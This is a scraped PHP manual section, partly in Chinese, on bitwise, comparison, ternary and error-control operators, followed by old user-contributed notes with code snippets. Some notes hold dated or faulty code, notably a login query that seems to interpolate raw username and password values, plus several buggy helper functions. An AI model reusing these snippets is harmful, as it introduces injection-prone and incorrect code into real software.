   function setbit($val, $bit) {
       if (readbit($val, $bit)) return $val;
       return $val += '0x'.dechex(1<<($bit-1));
   }

   function clearbit($val, $bit) {
       if (!readbit($val, $bit)) return $val;
       return $val^(0+('0x'.dechex(1<<($bit-1))));
   }

   function readbit($val, $bit) {
       return ($val&(0+('0x'.dechex(1<<($bit-1)))))?'1':'0';
   }

   function debug($var, $bitlength=32) {
       for ($j=$bitlength;$j>0;$j--) {
           echo readbit($var, $j);
           if ($j%4 == 1) echo ' ';
       }
   }
?>
andrew at thepenry dot net
27-Feb-2004 06:11
Here is a useful function for setting flags (or bits). It takes three paramaters:
1. $var  This is the variable whose flag you want to set
2. $flag  This is the flag(s) you want set
3. $set  This is either ON or OFF

Simply adding or subtracting a flag is not a good idea. For example, if the variable is in binary 0101 (thats 5 in dec)  and you want to turn the 1 bit off subtracttion would work. 5-1=4 which would be 0100. However, the variable is 0100, and you want subtracted, 4-1 =3 or 0011. What you intended to do was to turn off the one bit regardless of whether it is on or off.

This function will turn on or off a bit(or bits) regardless of the bit's current state.

<?php
define('ON', 1);
define('OFF', 0);

function setflag(&$var, $flag, $set=ON ) {
   if (($set == ON)) $var = ($var | $flag);
   if (($set == OFF)) $var = ($var & ~$flag);
   return;
}
?>

For a full test of this try this code:

<pre>
<?php

define ('f1', 1);
define ('f2', 2);
define ('f4', 4);
define ('f8', 8);

define('ON', 1);
define('OFF', 0);

function setflag(&$var, $flag, $set=ON ) {
   if (($set == ON)) $var = ($var | $flag);
   if (($set == OFF)) $var = ($var & ~$flag);
   return;
}

function dbi($var){ // display number as binary (four bits)
   $output = ($var & f8) ? '1' : '0';
   $output .= ($var & f4) ? '1' : '0';
   $output .= ($var & f2) ? '1' : '0';
   $output .= ($var & f1) ? '1' : '0';
   return $output;
}

$var1 = ( f8 | f2 | f1 );
echo ("    " . dbi($var1). "\n" );
echo ("ON  " . dbi(f4). "\n" );
setflag($var1, f4, ON);
echo ("IS  " . dbi($var1). "\n" );
echo ("\n");
$var2 = ( f8 | f2 | f1 );
echo ("    " . dbi($var2). "\n" );
echo ("OFF " . dbi(f1). "\n" );
setflag($var2, f1, OFF);
echo ("IS  " . dbi($var2). "\n" );
echo ("\n");
echo ("\n");
$var3 = ( f8 | f2 | f1 );
echo ("    " . dbi($var3). "\n" );
echo ("ON  " . dbi((f4 | f1)). "\n" );
setflag($var3, (f4 | f1), ON);
echo ("IS  " . dbi($var3). "\n" );
echo ("\n");
$var4 = ( f8 | f2 | f1 );
echo ("    " . dbi($var4). "\n" );
echo ("OFF " . dbi((f4 | f1)). "\n" );
setflag($var4, (f4 | f1), OFF);
echo ("IS  " . dbi($var4). "\n" );
echo ("\n");

?>
</pre>

Which returns:
   1011
ON  0100
IS  1111

   1011
OFF 0001
IS  1010

   1011
ON  0101
IS  1111

   0100
OFF 0101
IS  0000
crizza at sdf dot lonestar dot org
26-Feb-2004 03:27
Personally I get a great deal of pleasure using bitwise operators for dealing with flags

here is an example using c code because im a php noob, but the principal of bitwise ops is the same.

#define F_WITH_DEBUG  0x01
#define F_WITH_HELP_INFO 0x02
#define F_BE_VERBOSE  0x04

unsigned short flags = 0;

flags |= ( F_WITH_DEBUG | F_WITH_HELP_INFO | F_BE_VERBOSE );

/* now the first byte of flags look like this 00000111 */

/* check the status of flags */

if( flags & F_WITH_DEBUG) {

 /* do something */

}

flags are great, I love *them.
richard-slater.co.uk
22-Feb-2004 05:07
For those (like me) who are trying to do bit masking with very large numbers, here is a useful function to do the work for you.

<?php
  function isBitSet($bitMask, $bitMap)
  {
   return (bool) gmp_intval(gmp_div(gmp_and($bitMask, $bitMap),$bitMask));
  }
?>
tanstep at hotmail dot com
18-Feb-2004 01:14
Note that precedence is wrong for bitwise and comparison operators:

use this:
   if((pow(2, $pos) & $_bits) > 0)

NOT this:
   if(pow(2, $pos) & $_bits > 0)
tanstep at hotmail dot com
18-Feb-2004 01:03
Beware that strings can be ANDed, XORed, and ORed just fine. When printing the results of a bitwise operation, results can be a bit confusing, since operands may be converted to strings BEFORE bitwise operator execution.

so, use this:
   print('result: ');
   print(pow(2, $pos) & $this->_bits);
   print('<br>');

NOT this
   print("result: " . pow(2, $pos) & $this->_bits . "<br>");
jbrand1 at uwe_emm_bee_see dot edu
05-Jan-2004 02:04
So here's an interesting little thing that I do with bitwise operators, could potentially be useful to others.

I have a roles based system which shows, among other things, menu entries based on a users role. The menu entries are stored in a mysql database as are the users and the roles.

My users table looks like this:
+----------+--------+
| Username | RoleID |
+----------+--------+
| admin    |      1 |
| suser    |      2 |
|  user    |      4 |
+----------+--------+

My roles table looks like this:
+-------------------------------+--------+
| RoleName                      | RoleID |
+-------------------------------+--------+
| System Administrator          |      1 |
| Super User                    |      2 |
| User                          |      4 |
+-------------------------------+--------+

My menus table looks like this:
+-------------------+---------------------+---------+
| Menu_Title        | MenuFile            |  Roles  |
+-------------------+---------------------+---------+
| Data              | Data.php            |      7  |
| All Data          | All_Data.php        |      3  |
| Shutdown          | Shutdown.php        |      1  |
+-------------------+---------------------+---------+

Now, when the user logs in I run a select to see if they are valid:

SELECT * FROM Users WHERE Username = '<USER>' AND Password = '<PW>'

If no rows were returned I print an error message and redraw the login screen, otherwise I set some session variables:
<?php
   $row = mysql_fetch_assoc($recordset);
   $_SESSION['Username'] = $row['Username'];
   $_SESSION['RoleID'] = $row['RoleID'];
?>

In my MainMenu.php I check that a valid user is logged in and if so I generate the menu:
<?php
   if( isset($_SESSION['Username']) &&
       isset($_SESSION['RoleID']) )
   {
       generateMenuEntries($_SESSION['RoleID']);
   }
?>

<?php
  /********************************************/
 /** Generates the menu                                            */
/*******************************************/
function generateMenuEntries( $roleID )
{
     $menuQuery = sprintf("SELECT * FROM menus WHERE (Roles & %d) = %d", $roleID, $roleID);
     $menuRecordset = mysql_query($menuQuery, $myConn);

     while( $menu = mysql_fetch_assoc( $menuRecordset ))
     {
         echo '    <tr>';
         echo '      <td width="3%">&nbsp;</td> ';
         echo '      <td width="97%"><a href="'; echo $menu['MenuFile']; echo '">'; echo $items['Menu_Title']; echo '</a></td>';
         echo '    </tr>';
     }
}
?>

So the important part of the query is the (Roles & $roleID) = $roleID, that does a bitwise AND function and since only one bit is set in our role the value returned will either be 0 or the $roleID.

I know this isn't the most secure way to handle the user/session data but it's sufficient for my needs.  I have to be careful when I add roles so that it's 2^whatever.  I wish I knew how to change the auto_increment so that it was just a bit shift.  I suppose I could use an auto-generated  ID field and do a stored procedure that calculates the role as 2^ID. I'll have to look into it.

Hope this helps someone.
achim at gmeiner dot cc
27-Dec-2003 03:21
For all of you who are new to bitwise operatons (like me)...

There is a great article on gamedev.net explaining the basics of this:

"Bitwise Operations in C" by Joseph "Ironblayde" Farrell
http://www.gamedev.net/reference/articles/article1563.asp
krang at krang dot org dot uk
05-Dec-2003 06:30
Hopefully this may help someone understand the fun of Bitwise Operators....

The purpose of this function is to return a value from the GPC (Get, Post and Cookie) and do some basic formatting to it depending on the $VALIDATION value:

<?PHP

  function RETURN_SUBMITTED_VALUE ($VARIABLE, $METHOD, $VALIDATION) {

   //-------------------------------
   // Get the value from the
   // relevant submit method...

       if ($METHOD == 'POST') {
         if (!isset($_POST[$VARIABLE])) $_POST[$VARIABLE] = '';
         $VALUE = $_POST[$VARIABLE];

       } elseif ($METHOD == 'COOKIE') {
         if (!isset($_COOKIE[$VARIABLE])) $_COOKIE[$VARIABLE] = '';
         $VALUE = $_COOKIE[$VARIABLE];

       } else {
         if (!isset($_GET[$VARIABLE])) $_GET[$VARIABLE] = '';
         $VALUE = $_GET[$VARIABLE];
       }

   //-------------------------------
   // If necessary strip the slashes.
   // the "GPC" means - GET, POST
   // COOKIE.

       if (ini_get ('magic_quotes_gpc') == true) {
         $VALUE = stripslashes($VALUE);
       }

   //-------------------------------
   // Now for the different types
   // of VALIDATION's

       if (($VALIDATION & 8) == 8) {
         $VALUE = (int)$VALUE;
       }

       if (($VALIDATION & 4) == 4) {
         $VALUE = strtolower($VALUE);
       }

       if (($VALIDATION & 2) == 2) {
         $VALUE = strip_tags($VALUE);
       }

       if (($VALIDATION & 1) == 1) {
         $VALUE = trim($VALUE);
       }

   //-------------------------------
   // Finally return the value

       return $VALUE;

  }

  echo RETURN_SUBMITTED_VALUE ('ID', 'GET', 8) . '<br />';
   // Convert to an Integer

  echo RETURN_SUBMITTED_VALUE ('NAME', 'GET', 3) . '<br />';
   // Trim Whitespace and Strip HTML tags

  echo RETURN_SUBMITTED_VALUE ('GENDER', 'GET', 6) . '<br />';
   // Strip HTML tags and convert to lower case

  //-----------------------------------------------
  // If this script was loaded under the URL
  // index.php?ID=19a&NAME=Krang&GENDER=MalE
  // it would print
  //
  // 19
  // Krang
  // male
  //-----------------------------------------------

?>

For those that dont understand binary, the numbers you see are not random, they double each time (1, 2, 4, 8, 16, 32, 64, 128, 256, 512, 1024...) which allows you to mix and match the different function, eg...

1 + 2 = 3 (Trim Whitespace + Strip HTML)
2 + 4 = 6 (Strip HTML + Convert to lower case)
rob at thijssen dot co dot uk
28-Oct-2003 06:14
Well, every programmer already knows this but for anyone new to the fun here's some quick clean code to determine if a number is odd or even.

function oddeven($x){
 if($x & 1) return "odd";
 else return "even";
}
joel at alpsgiken dot gr dot jp
10-Oct-2001 04:58
All shifts are signed shifts. The shift is performed with the shift count modulo 32, which explains the behavior which looks like a bit rotation, mentioned above.

Example:

$bit = 0x20000000;

print "$bit << 5 == " . ($bit << 5) . $prod . "<br />";
print "$bit >> 5 == " . ($bit >> 5) . $prod . "<br />";
print "$bit >> 37 == " . ($bit >> 37) . $prod . "<br />";

$bit = 4;

print "$bit >> 5 == " . ($bit >> 5) . $prod . "<br />";
print "$bit << 5 == " . ($bit << 5) . $prod . "<br />";
print "$bit << 37 == " . ($bit << 37) . $prod . "<br />";

Results:

536870912 << 5 == 0
536870912 >> 5 == 16777216
536870912 >> 37 == 16777216
4 >> 5 == 0
4 << 5 == 128
4 << 37 == 128
add a note add a note

后退 | 起点 | 前进
赋值运算符 | 上一级 | 比较运算符


比较运算符

比较运算符，如同它们名称所暗示的，允许对两个值进行比较。还可以参考 PHP 类型比较表看不同类型相互比较的例子。

表格 15-4. 比较运算符

例子 | 名称 | 结果
$a == $b | 等于 | TRUE，如果 $a 等于 $b。
$a === $b | 全等 | TRUE，如果 $a 等于 $b，并且它们的类型也相同。（PHP 4 引进）
$a != $b | 不等 | TRUE，如果 $a 不等于 $b。
$a <> $b | 不等 | TRUE，如果 $a 不等于 $b。
$a !== $b | 非全等 | TRUE，如果 $a 不等于 $b，或者它们的类型不同。（PHP 4 引进）
$a < $b | 小与 | TRUE，如果 $a 严格小于 $b。
$a > $b | 大于 | TRUE，如果 $a 严格 $b。
$a <= $b | 小于等于 | TRUE，如果 $a 小于或者等于 $b。
$a >= $b | 大于等于 | TRUE，如果 $a 大于或者等于 $b。

如果比较一个整数和字符串，则字符串会被转换为整数。如果比较两个数字字符串，则作为整数比较。此规则也适用于 switch 语句。

<?php
var_dump(0 == "a"); // 0 == 0 -> true
var_dump("1" == "01"); // 1 == 1 -> true

switch ("a") {
case 0:
    echo "0";
    break;
case "a": // never reached because "a" is already matched with 0
    echo "a";
    break;
}
?>

对于多种的类型，比较运算符根据下表比较（按顺序）。

表格 15-5. 比较多种类型

运算数 1 类型 | 运算数 1 类型 | 结果
null 或 string | string | 将 NULL 转换为 ""，进行数字或词汇比较
bool 或 null | 任何其它类型 | 转换为 bool，FALSE < TRUE
object | object | 内置类可以定义自己的比较，不同类不能比较，相同类和数组同样方式比较属性（PHP 4 中），PHP 5 有其自己的说明
string，resource 或 number | string，resource 或 number | 将字符串和资源转换成数字，按普通数学比较
array | array | 具有较少成员的数组较小，如果运算数 1 中的键不存在于运算数 2 中则数组无法比较，否则挨个值比较（见下例）
array | 任何其它类型 | array 总是更大
object | 任何其它类型 | object 总是更大

例子 15-2. 标准数组比较代码

<?php
// 数组是用标准比较运算符这样比较的
function standard_array_compare($op1, $op2)
{
    if (count($op1) < count($op2)) {
        return -1; // $op1 < $op2
    } elseif (count($op1) > count($op2)) {
        return 1; // $op1 > $op2
    }
    foreach ($op1 as $key => $val) {
        if (!array_key_exists($key, $op2)) {
            return null; // uncomparable
        } elseif ($val < $op2[$key]) {
            return -1;
        } elseif ($val > $op2[$key]) {
            return 1;
        }
    }
    return 0; // $op1 == $op2
}
?>

参见 strcasecmp()，strcmp()，数组运算符和类型一章。

三元运算符

另一个条件运算符是“?:”（或三元）运算符 。

例子 15-3. 赋默认值

<?php
// Example usage for: Ternary Operator
$action = (empty($_POST['action'])) ? 'default' : $_POST['action'];

// The above is identical to this if/else statement
if (empty($_POST['action'])) {
     $action = 'default';
} else {
     $action = $_POST['action'];
}

?>
表达式 (expr1) ? (expr2) : (expr3) 在 expr1 求值为 TRUE 时的值为 expr2，在 expr1 求值为 FALSE 时的值为 expr3。

注: 注意三元运算符是个语句，因此其求值不是变量，而是语句的结果。如果想通过引用返回一个变量这点就很重要。在一个通过引用返回的函数中语句 return $var == 42 ? $a : $b; 将不起作用，以后的 PHP 版本会为此发出一条警告。

add a note add a note User Contributed Notes
Alex
17-May-2006 10:49
I think everybody should read carefully what "jeronimo at DELETE_THIS dot transartmedia dot com" wrote. It's a great pitfall even for seasoned programmers and should be looked upon with a great attention.
For example, comparing passwords with == may result in a very large security hole.

I would add some more to it:

The workaround is to use strcmp() or ===.

Note on ===:

While the php documentation says that, basically,
($a===$b)  is the same as  ($a==$b && gettype($a) == gettype($b)),
this is not true.

The difference between == and === is that === never does any type conversion. So, while, according to documentation, ("+0.1" === ".1") should return true (because both are strings and == returns true), === actually returns false (which is good).
adam at caucho dot com
09-May-2006 01:49
Note: according to the spec, PHP's comparison
operators are not transitive.  For example,
the following are all true in PHP5:

"11" < "a" < 2 < "11"

As a result, the outcome of sorting an array
depends on the order the elements appear
in the pre-sort array.  The following code will
dump out two arrays with *different* orderings:

<?php
$a = array(2,    "a",  "11", 2);
$b = array(2,    "11", "a",  2);
sort($a);
var_dump($a);
sort($b);
var_dump($b);
?>

This is not a bug report -- given the spec on
this documentation page, what PHP does is
"correct".  But that may not be what was
intended...
kroczu at interia dot pl
14-Feb-2006 09:26
<?
//attention about this case!

$a=0;

if($a=="some string..."){ /* (...) -> true! */ }
if($a==="some string..."){ /* (...) -> false */ }

$a=1;

if($a=="some string..."){ /*(...) -> false */ }
if($a==="some string..."){ /*(...) -> false */ }

?>
rshawiii at yahoo dot com
19-Jan-2006 03:36
You can't just compare two arrays with the === operator
like you would think to find out if they are equal or not.  This is more complicated when you have multi-dimensional arrays.  Here is a recursive comparison function.

/**
 * Compares two arrays to see if they contain the same values.  Returns TRUE or FALSE.
 * usefull for determining if a record or block of data was modified (perhaps by user input)
 * prior to setting a "date_last_updated" or skipping updating the db in the case of no change.
 *
 * @param array $a1
 * @param array $a2
 * @return boolean
 */
function array_compare_recursive($a1, $a2)
{
   if (!(is_array($a1) and (is_array($a2)))) { return FALSE;}

   if (!count($a1) == count($a2))
     {
       return FALSE; // arrays don't have same number of entries
     }

   foreach ($a1 as $key => $val)
   {
       if (!array_key_exists($key, $a2))
           {return FALSE; // uncomparable array keys don't match
             }
       elseif (is_array($val) and is_array($a2[$key]))  // if both entries are arrays then compare recursive
           {if (!array_compare_recursive($val,$a2[$key])) return FALSE;
           }
       elseif (!($val === $a2[$key])) // compare entries must be of same type.
           {return FALSE;
           }
   }
   return TRUE; // $a1 === $a2
}
johnjc-phpdocs at publicinfo dot net
02-Nov-2005 02:41
The === and !== are not fully documented in either the Comparison Operator, Booleans type sections. They are talked about a bit more in the sections on strpos() and array_search() but those sections refer you to the section on Booleans for further information.

I am putting my contribution on === and !== in the Booleans section with pointers to it from the comment areas of other sections.

http://uk.php.net/manual/en/language.types.boolean.php
sam at liddicott dot com
01-Nov-2005 11:42
Don't be deceived into thinking that === compares objects for identity, it does not. It does a recusrive comparison which fails if there are recusrive object references involved, and will report as identical two different object instances that happen to merely have the same value.
You can see the stated problem at: http://bugs.php.net/bug.php?id=35053

My workaround is php::CompareObjects($a,$b)

# static class to hold methods to encapsulate php deficiencies in various versions
class php {
  # in === on objects in php4 does a dumb recusrive check instead
  function CompareObject(&$a,&$b) {
   $value='Bah! Stupid===';
   $key="bah".rand(0,1000);
   while(isset($a->$key)) $key.=rand(0,9);

   if (isset($b->$key)) return FALSE;
   $a->$key=$value;
   $result=($a->$key===$b->$key);
   unset($a->$key);
   return $result;
  }
}
08-Sep-2005 04:09
The following contrasts the trinary operator associativity in PHP and Java.  The first test would work as expected in Java (evaluates left-to-right, associates right-to-left, like if stmnt), the second in PHP (evaluates and associates left-to-right)

<?php

echo "\n\n######----------- trinary operator associativity\n\n";

function trinaryTest($foo){

   $bar    = $foo > 20
           ? "greater than 20"
           : $foo > 10
               ? "greater than 10"
               : $foo > 5
                   ? "greater than 5"
                   : "not worthy of consideration";
   echo $foo." =>  ".$bar."\n";
}

echo "----trinaryTest\n\n";
trinaryTest(21);
trinaryTest(11);
trinaryTest(6);
trinaryTest(4);

function trinaryTestParens($foo){

   $bar    = $foo > 20
           ? "greater than 20"
           : ($foo > 10
               ? "greater than 10"
               : ($foo > 5
                   ? "greater than 5"
                   : "not worthy of consideration"));
   echo $foo." =>  ".$bar."\n";
}

echo "----trinaryTestParens\n\n";
trinaryTestParens(21);
trinaryTestParens(11);
trinaryTest(6);
trinaryTestParens(4);

?>

Output:

######----------- trinary operator associativity

----trinaryTest

21 =>  greater than 5
11 =>  greater than 5
6 =>  greater than 5
4 =>  not worthy of consideration

----trinaryTestParens

21 =>  greater than 20
11 =>  greater than 10
6 =>  greater than 5
4 =>  not worthy of consideration
pandreas81 at NO dot gmx dot SPAM dot de
02-Jun-2005 06:40
Please note that the example in some notes before is not 100% correct, because it misses the call of abs().

To compare a float you should use abs($myFloat - 0.3) < EPSILON. This way of comparison is very common in other languages and it's cleaner than converting the values to strings. I suggest using a constant instead of a variable for EPSILON.
mita at abv dot bg
24-Mar-2005 10:34
Float values comparation:

if ( (string) $a == (string) $b) {
  print 'a is equal to b';
} else {
  print 'a is not equal to b';
}
sven dot heyll at web dot de
05-Dec-2004 05:19
Hi folks,
to the float comparison problem...

This worked for me:

//! compare two floating point values, return true if they are equal
//! (enough) or false otherwise
function float_equal($f1, $f2)
{
   return ($f1 > $f2) ? (false) : (!($f1 < $f2));
}

// compare floats
$f1 = 0.037;
$f2 = 1000387.978;
echo "$f1 and $f2 are ".(float_equal($f1,$f2)?("equal"):("not equal"))."<br />";
$f1 = 0.3;
$f2 = 0.3;
echo "$f1 and $f2 are ".(float_equal($f1,$f2)?("equal"):("not equal"))."<br />";
02-Dec-2004 07:47
Concerning floats: It is simply pointless to compare a float with the value "0.3". The number 0.3 is not exactly representable in binary. Period. So is the number 0.1, and an infinite number of others numbers. Just like 1/3 is not exactly representable in decimal. How would you code the test for your float to be one third? Maybe $myFloat == 0.33333333333  Hmm: you see: Everyone would agree that this test is not accurate.

The test $myFloat == 0.3 is making exactly the same mistake.

So the float which you think should be 0.3 is really something very close to it; if you print it in decimal, the conversion will end up with the closest decimal representation, which may well be "0.3". But "0.3" is also the "right display decimal" for hundreds of float values.

The correct way to "compare" floats is: ( $myFloat - 0.3 ) < $EPSILON where $EPSILON is something like 1e-10, depending on your application. Approximate algorithms are the only right way to treat floats, which are only approximate by themselves.
darkcryst at gmail dot com
21-Oct-2004 06:35
be REALLY careful when comparing float values. PHP, like most languages, is vunerable to he problems of floating point precision.

Do NOT compare floats directly, and this also means any decimal value at all.

The headaches finding out if $var = 0.3 caused me are unbelievable. even though the stored variable WAS 0.3 it was still ignoring it - this was to do with the internal float not recognising it as 0.3 even though it *displayed* it as 0.3 when echo'd or printed... basically it was stored imprecisly, but not able to display it as such.

I ended up having to compare after multiplying by 10, rounding, and then dividing by 10... rediculous, but sadly the only way I could find to reliably do it. The round seemed to remove the break in the float...

jesus that took me ages to find...
hiroh2k at yahoo dot com
20-Oct-2004 02:05
if you want to use the ?: operator, you should be careful with the precedence.

Here's an example of the priority of operators:

echo 'Hello, ' . isset($i) ? 'my friend: ' . $username . ', how are you doing?' : 'my guest, ' . $guestusername . ', please register';

This make "'Hello, ' . isset($i)" the sentence to evaluate. So, if you think to mix more sentences with the ?: operator, please use always parentheses to force the proper evaluation of the sentence.

echo 'Hello, ' . (isset($i) ? 'my friend: ' . $username . ', how are you doing?' : 'my guest, ' . $guestusername . ', please register');

for general rule, if you mix ?: with other sentences, always close it with parentheses.
jeronimo at DELETE_THIS dot transartmedia dot com
02-Jul-2004 07:01
For converted Perl programmers: use strict comparison operators (===, !==) in place of string comparison operators (eq, ne). Don't use the simple equality operators (==, !=), because ($a == $b) will return TRUE in many situations where ($a eq $b) would return FALSE.

For instance...
"mary" == "fred" is FALSE, but
"+010" == "10.0" is TRUE (!)

In the following examples, none of the strings being compared are identical, but because PHP *can* evaluate them as numbers, it does so, and therefore finds them equal...

<?

echo ("007" == "7" ? "EQUAL" : "not equal");
// Prints: EQUAL

// Surrounding the strings with single quotes (') instead of double
// quotes (") to ensure the contents aren't evaluated, and forcing
// string types has no effect.
echo ( (string)'0001' == (string)'+1.' ? "EQUAL" : "not equal");
// Prints: EQUAL

// Including non-digit characters (like leading spaces, "e", the plus
// or minus sign, period, ...) can still result in this behavior, if
// a string happens to be valid scientific notation.
echo ('  131e-2' == '001.3100' ? "EQUAL" : "not equal");
// Prints: EQUAL

?>

If you're comparing passwords (or anything else for which "near" precision isn't good enough) this confusion could be detrimental. Stick with strict comparisons...

<?

// Same examples as above, using === instead of ==

echo ("007" === "7" ? "EQUAL" : "not equal");
// Prints: not equal

echo ( (string)'0001' === (string)'+1.' ? "EQUAL" : "not equal");
// Prints: not equal

echo ('  131e-2' === '001.3100' ? "EQUAL" : "not equal");
// Prints: not equal

?>
webmaster __AT__ digitalanime __DOT__ nl
14-Apr-2004 06:31
WARNING!!!!

Let's say, we have this little script:

<?php
$username = 'Me';
$guestusername = 'Guest';

echo 'Hello, ' . isset($i) ? 'my friend: ' . $username . ', how are you doing?' : 'my guest, ' . $guestusername . ', please register';
?>

What you want:
If $i is set, display:
Hello, my friend: Me, how are you doing?
If not, display:
Hello, my guest, Guest, please register

BUT, you DON'T get that result!

If $i is set, you get this:
my friend: Me, how are you doing? (so, there's not "Hello, " before it)
If $i is NOT set, you get this:
my friend: Me, how are you doing?

So... That's the same!

You can solve this by using the "(" and ")" to give priority to the ternary operator:

<?php
$username = 'Me';
$guestusername = 'Guest';

echo 'Hello, ' . (isset($i) ? 'my friend: ' . $username . ', how are you doing?' : 'my guest, ' . $guestusername . ', please register');
?>

When $i is set, you get this:
Hello, my friend: Me, how are you doing? (expected)
When $i is NOT set, you get this:
Hello, my guest, Guest, please register (expected too)

So.. Please, don't be dumb and ALWAYS use the priority-signs (or.. How do you call them?), ( and ).
By using them, you won't get unneeded trouble and always know for sure your code is doing what you want: The right thing.
user@example
04-Apr-2004 06:17
With Nested ternary Operators you have to set the logical  parentheses to get the correct result.

<?php
$test=true;
$test2=true;

($test) ? "TEST1 true" :  ($test2) ? "TEST2 true" : "false";
?>
This will output: TEST2 true;

correct:

<?php
$test=true;
$test2=true;

($test) ? "TEST1 true" : (($test2) ? "TEST2 true" : "false");
?>

Anyway don't nest them to much....!!
gphemsley at users dot sourceforge dot net
04-Jan-2004 08:15
For those of you who need to use === with PHP 3, this should do the trick:

<?php

function is_identical( $left, $right )
{
   if( phpversion() >= 4 )
   {
       return ( $left === $right );
   }
   else
   {
       if( ( $left == $right ) && ( gettype( $left ) == gettype( $right ) ) )
       {
           return TRUE;
       }
       else
       {
           return FALSE;
       }
   }
}

?>

1 === '1' is the same as is_identical( 1, '1' ).
jwhiting at hampshire dot edu
10-Dec-2003 07:31
note: the behavior below is documented in the appendix K about type comparisons, but since it is somewhat buried i thought i should raise it here for people since it threw me for a loop until i figured it out completely.

just to clarify a tricky point about the == comparison operator when dealing with strings and numbers:

('some string' == 0) returns TRUE

however, ('123' == 0) returns FALSE

also note that ((int) 'some string') returns 0

and ((int) '123') returns 123

the behavior makes senes but you must be careful when comparing strings to numbers, e.g. when you're comparing a request variable which you expect to be numeric. its easy to fall into the trap of:

if ($_GET['myvar']==0) dosomething();

as this will dosomething() even when $_GET['myvar'] is 'some string' and clearly not the value 0

i was getting lazy with my types since php vars are so flexible, so be warned to pay attention to the details...
mina86 at tlen dot pl
04-Dec-2003 07:03
I guess quicker method would be:

<?php
$colors = array('#EEEEEE', '#FFFFFF');
while ($i++ < 10) {
?>
    <tr bgColor="<?=$colors[$i%2]?>">
       <td>Cell 1-<?=$i?></td>
       <td>Cell 2-<?=$i?></td>
       <td>Cell 3-<?=$i?></td>
       <td>Cell 4-<?=$i?></td>
   </tr>
<?php } ?>

And you can easily add more colors:

<?php
$colors = array('#EEEEEE', '#FFFFFF', '#DDDDDD', '#CCCCCC');
while ($i++ < 10) {
?>
    <tr bgColor="<?=$colors[$i%4]?>">
       <td>Cell 1-<?=$i?></td>
       <td>Cell 2-<?=$i?></td>
       <td>Cell 3-<?=$i?></td>
       <td>Cell 4-<?=$i?></td>
   </tr>
<?php } ?>
xhenxhe
13-Nov-2003 10:27
This operator is very is usefull and will save you time and lines once you get the hang of it. Try this next time you are looping through rows in a table and want to change the bgColor:

<table border=1 width=100% align=center style="border-collapse: collapse" bgColor="lightblue">
   <tr>
       <td>Column 1</td>
       <td>Column 2</td>
       <td>Column 3</td>
       <td>Column 4</td>
   </tr>
<?
   while ($i++ < 10)
   {
       $rbg = $rbg=="#EEEEEE" ? "#FFFFFF" : "#EEEEEE";
?>
    <tr bgColor="<?=$rbg?>">
       <td>Cell 1-<?=$i?></td>
       <td>Cell 2-<?=$i?></td>
       <td>Cell 3-<?=$i?></td>
       <td>Cell 4-<?=$i?></td>
   </tr>
<?    } ?>
</table>
add a note add a note

后退 | 起点 | 前进
位运算符 | 上一级 | 错误控制运算符


错误控制运算符

PHP 支持一个错误控制运算符：@。当将其放置在一个 PHP 表达式之前，该表达式可能产生的任何错误信息都被忽略掉。

如果激活了 track_errors 特性，表达式所产生的任何错误信息都被存放在变量 $php_errormsg 中。此变量在每次出错时都会被覆盖，所以如果想用它的话就要尽早检查。

<?php
/* Intentional file error */
$my_file = @file ('non_existent_file') or
    die ("Failed opening file: error was '$php_errormsg'");

// this works for any expression, not just functions:
$value = @$cache[$key];
// will not issue a notice if the index $key doesn't exist.

?>

注: @ 运算符只对表达式有效。对新手来说一个简单的规则就是：如果能从某处得到值，就能在它前面加上 @ 运算符。例如，可以把它放在变量，函数和 include() 调用，常量，等等之前。不能把它放在函数或类的定义之前，也不能用于条件结构例如 if 和 foreach 等。

参见 error_reporting() 及手册中错误处理及日志函数的有关章节。

警告

目前的“@”错误控制运算符前缀甚至使导致脚本终止的严重错误的错误报告也失效。这意味着如果在某个不存在或类型错误的函数调用前用了“@”来抑制错误信息，那脚本会没有任何迹象显示原因而死在那里。

add a note add a note User Contributed Notes
me at hesterc dot fsnet dot co dot uk
04-Mar-2005 12:25
If you wish to display some text when an error occurs, echo doesn't work. Use print instead. This is explained on the following link 'What is the difference between echo and print?':

http://www.faqts.com/knowledge_base/view.phtml/aid/1/fid/40

It says "print can be used as part of a more complex expression where echo cannot".

Also, you can add multiple code to the result when an error occurs by separating each line with "and". Here is an example:

<?php
$my_file = @file ('non_existent_file') or print 'File not found.' and $string = ' Honest!' and print $string and $fp = fopen ('error_log.txt', 'wb+') and fwrite($fp, $string) and fclose($fp);
?>

A shame you can't use curly brackets above to enclose multiple lines of code, like you can with an if statement or a loop. It could make for a single long line of code. You could always call a function instead.
frogger at netsurf dot de
27-Dec-2004 12:19
Better use the function trigger_error() (http://de.php.net/manual/en/function.trigger-error.php)
to display defined notices, warnings and errors than check the error level your self. this lets you write messages to logfiles if defined in the php.ini, output
messages in dependency to the error_reporting() level and suppress output using the @-sign.
webmaster __AT__ digitalanime __DOT__ nl
19-May-2004 06:10
Someone over here wanted to know how to use the @ in your error handler... It's easy:

<?php
function my_error_handler(.......)
{
  if(error_reporting() == 0) // error_reporting() = 0, so it was called with @ in front of it
  {
   // do nothing
  }
  else
  {
   // do something
  }
}
?>
manicdepressive at mindless dot com
29-Feb-2004 08:44
taking the value of a non existant element:

   $foo = @$array['not_here']

will work as described, setting $foo to NULL,

but taking a *reference* to a non-existant element:

   $foo =& @$array['not_here']

will create the element with a NULL value, which $foo will then referece.

  -- code till dawn, mark meves
sdavey at datalink dot net dot au
30-Nov-2003 08:26
To suppress error warnings for functions that use the error operator '@' in your own error handlers, I found a sentence on the set_error_handler() page that explains it:
http://www.php.net/manual/en/function.set-error-handler.php

To paraphrase, it says that PHP temporarily sets the value of error_reporting() to 0 when in the error handler.

So, if you have the following:

$fp = @fopen("non-existent-file", "r");

when your custom error handler function is called, you can check the value of error_reporting() like this:

function handler($type, $str, $file, $line, $info) {
   // don't respond to the error if it
   // was suppressed with a '@'
   if (error_reporting() == 0) return;

   // otherwise, handle the error
   ...
}
john-at-n0-spam-foobar-dot-nl
26-Jul-2003 01:04
With set_error_handler() you bypass the standard error handler, which takes care of @.

if (!($fp = @fopen('not_a_file', 'r')))
  trigger_error("Can't open file!", E_USER_WARNING);

... generates ...

Warning: fopen("not_a_file", "r") - No such file or directory in index.php on line 19.
User Warning : Can't open file! in index.php on line 20.

... when I use my own error handler. With the standard error handler I only get the second warning.

If someone knows how to use @ with your own error handler, let me know.
psychohist at aol dot com
05-Jul-2003 04:59
if you create a new variable by assigning to it the error
suppressed value of an unset variable, the new variable
will be set, with a value of (I believe) null:

$new_variable                // previously not set
   = @$nonexistent_variable; // also not set

$next_variable = $new_variable // no warning generated
25-Apr-2003 09:24
